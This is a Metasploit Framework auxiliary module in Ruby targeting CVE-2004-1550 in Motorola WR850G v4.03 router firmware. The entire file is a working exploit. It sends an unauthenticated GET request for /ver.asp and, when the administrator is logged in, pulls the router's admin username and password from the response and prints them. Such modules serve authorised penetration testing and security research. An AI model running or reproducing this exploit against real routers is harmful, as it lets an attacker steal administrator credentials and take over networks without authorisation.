##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Motorola WR850G v4.03 Credentials',
'Description' => %q{
Login credentials to the Motorola WR850G router with
firmware v4.03 can be obtained via a simple GET request
if issued while the administrator is logged in. A lot
more information is available through this request, but
you can get it all and more after logging in.
},
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [
[ 'CVE', '2004-1550' ],
[ 'OSVDB', '10232' ],
[ 'URL', 'http://seclists.org/bugtraq/2004/Sep/0339.html'],
],
'DisclosureDate' => 'Sep 24 2004'))
register_options([
Opt::RPORT(80)
])
end
def run
connect
sock.put("GET /ver.asp HTTP/1.0\r\n\r\n")
response = sock.get_once
disconnect
if response.nil? or response.empty?
print_status("No response from server")
return
end
# 302 Redirect
if response.split(/\r\n/)[0] !~ /200 Ok/
print_status("Administrator not logged in")
return
end
user = $1 if response.match("http_username=([^\n]*)
")
pass = $1 if response.match("http_passwd=([^\n]*)
")
print_status("Found username \"#{user}\" and password \"#{pass}\"") if user and pass
end
end